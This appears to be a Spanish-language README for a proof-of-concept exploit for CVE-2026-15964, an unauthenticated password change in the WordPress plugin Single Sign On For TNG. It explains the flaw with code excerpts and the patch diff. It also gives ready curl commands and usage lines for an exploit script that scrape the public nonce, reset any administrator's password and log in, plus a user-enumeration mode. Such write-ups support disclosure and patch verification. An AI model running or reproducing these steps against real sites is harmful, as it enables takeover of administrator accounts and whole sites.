instructor-admin/cve-2026-15964-pocPoC y comprobador para CVE-2026-15964 - cambio de contraseña no autenticado en el plugin de WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Escalada de privilegios no autenticada mediante cambio de contraseña no verificado en el plugin de WordPress Single Sign On For TNG.
| Gravedad | Crítico (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Cambio de contraseña no verificado) |
| Afecta | versiones del plugin 1.0.0 a 2.0.0 |
| Corregido en | 2.1.0 (publicado el 2026-07-27) |
| Publicado | 2026-08-01 |
| Autenticación requerida | ninguna (wp_ajax_nopriv_ssoprocess_ajax) |
| Impacto | cambiar la contraseña de cualquier cuenta de WordPress, incluidos los administradores: toma de control total del sitio |
| Plugin | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Cualquier visitante no autenticado puede cambiar la contraseña de cualquier cuenta en un sitio que ejecute el plugin en la versión 2.0.0 o anterior. Dos peticiones HTTP:
SSOPWDREQUIREMENT.admin-ajax.php con operation=setnewpassword, el correo de la víctima y una nueva contraseña.El reset_password() del núcleo de WordPress hace el resto. Sin token, sin enlace de confirmación por correo, sin comprobación de capacidades. Después, inicia sesión como administrador.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
En single-sign-on-for-tng.php (v2.0.0):
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* significa que el manejador es accesible sin sesión alguna.
load_scripts() está enganchado a wp_enqueue_scripts, por lo que en todas las páginas del front-end el plugin imprime esto en el HTML:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Que se renderiza como:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
Y el manejador lo verifica de esta manera:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
El problema: WordPress calcula los nonces con wp_create_nonce($action) usando el uid y el token de sesión. Para los visitantes sin sesión esos valores son 0 y una cadena vacía, lo que significa que todos los visitantes anónimos reciben exactamente el mismo nonce. Solo se regenera cada 12 horas (el tick del nonce). Así que el nonce que el plugin imprime para cualquier visitante también es válido para el atacante: no hay ningún secreto que robar, está publicado en la propia página.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() es una función del núcleo de WordPress. Establece el nuevo hash, cierra la sesión de la víctima en todas las demás sesiones y dispara las acciones password_reset / after_password_reset. Aquí se llama sin que nada demuestre que quien la invoca es el propietario de la cuenta.
Dos detalles adicionales que vale la pena conocer:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC del plugin solo se aplican en validate_form() para los formularios de Forminator, nunca aquí. Se acepta cualquier contraseña.{"success":true} frente a {"success":false} te indica si un correo está registrado. El modo --enum-only del checker usa esto.operation=set_tzoffset llama a update_option('localtzoffset', $post['timezoneoffset']) sin autenticación. No es directamente explotable para RCE, pero es una escritura de opción no autenticada y merece la pena mencionarlo en el writeup.Comparando 2.0.0 con 2.1.0, el arreglo es evidente (y confirma el bug):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
además, en newpasswordform():
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
Así que en 2.1.0 el flujo es: una solicitud de recuperación real almacena un custom_recovery_token + custom_recovery_nonce por usuario en los meta datos del usuario, el enlace de recuperación lleva el id de usuario, el formulario valida ambos y el manejador AJAX se niega a ejecutarse una vez que la ventana de recuperación (timeout) ha expirado. Un atacante que no pueda generar un registro de recuperación válido ya no puede invocar setnewpassword.
Paso 1: extraer el nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Paso 2: cambiar la contraseña
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Respuesta esperada en una instalación vulnerable: {"success":true}
Paso 3: iniciar sesión
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyExploit para un solo sitio. Incluye modos no destructivos.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12